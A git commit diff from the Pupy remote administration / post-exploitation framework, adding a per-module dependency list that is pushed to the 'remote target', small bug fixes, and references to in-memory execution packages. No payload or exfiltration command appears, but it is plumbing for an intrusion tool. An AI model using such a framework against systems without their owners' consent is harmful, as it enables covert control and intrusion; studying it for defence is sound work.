various fixes + modules dependencies list to automatically load

This commit is contained in:
n1nj4sec 2016-01-08 22:43:38 +01:00
parent cfafe0248a
commit 741e238da6
6 changed files with 12 additions and 7 deletions

View File

@ -42,3 +42,6 @@ import time
import urllib
import urllib2
import socks
#needed for scapy :
import new
import fractions

View File

@ -106,7 +106,7 @@ class PupyPackageLoader:
if fullname in sys.modules:
del sys.modules[fullname]
import traceback
print "PupyPackageLoader: Error while loading package %s (%s) : %s %s"%(fullname, self.extension, str(e), c)
print "PupyPackageLoader: Error while loading package %s (%s) : %s"%(fullname, self.extension, str(e))
raise e
finally:
imp.release_lock()

View File

@ -39,6 +39,8 @@ def path_completer(text, line, begidx, endidx):
else:
try:
dirname=os.path.dirname(text)
if not dirname:
dirname="."
basename=os.path.basename(text)
for f in os.listdir(dirname):
if f.startswith(basename):

View File

@ -117,6 +117,7 @@ class PupyJob(object):
def module_worker(self, module, args):
try:
module.import_dependencies()
module.run(args)
except PupyModuleExit as e:
return

View File

@ -66,7 +66,8 @@ class PupyModule(object):
max_clients=0 #define on how much clients you module can be run in one command. For example an interactive module should be 1 client max at a time. set to 0 for unlimited
daemon=False #if your module is meant to run in background, set this to True and override the stop_daemon method.
unique_instance=False # if True, don't start a new module and use another instead
dependencies=[] #dependencies to push on the remote target. same as calling self.client.load_package
def __init__(self, client, job, formatter=None, stdout=None):
""" client must be a PupyClient instance """
self.client=client
@ -87,6 +88,9 @@ class PupyModule(object):
def __del__(self):
if self.del_close:
self.stdout.close()
def import_dependencies(self):
for d in self.dependencies:
self.client.load_package(d)
def init_argparse(self):
""" Override this class to define your own arguments. """

View File

@ -11,10 +11,5 @@ packages_dependencies={
"pupwinutils.memexec" : [
(LOAD_PACKAGE, "pupymemexec"),
],
"scapy" : [
(LOAD_PACKAGE, "pcap"),
#(LOAD_PACKAGE, "dnet"),
(EXEC, "import socket\nsocket.IPPROTO_IPIP=4\nsocket.IPPROTO_AH=51\nsocket.IPPROTO_ESP=50\n") #hotpatching socket module missing some constants on windows
],
}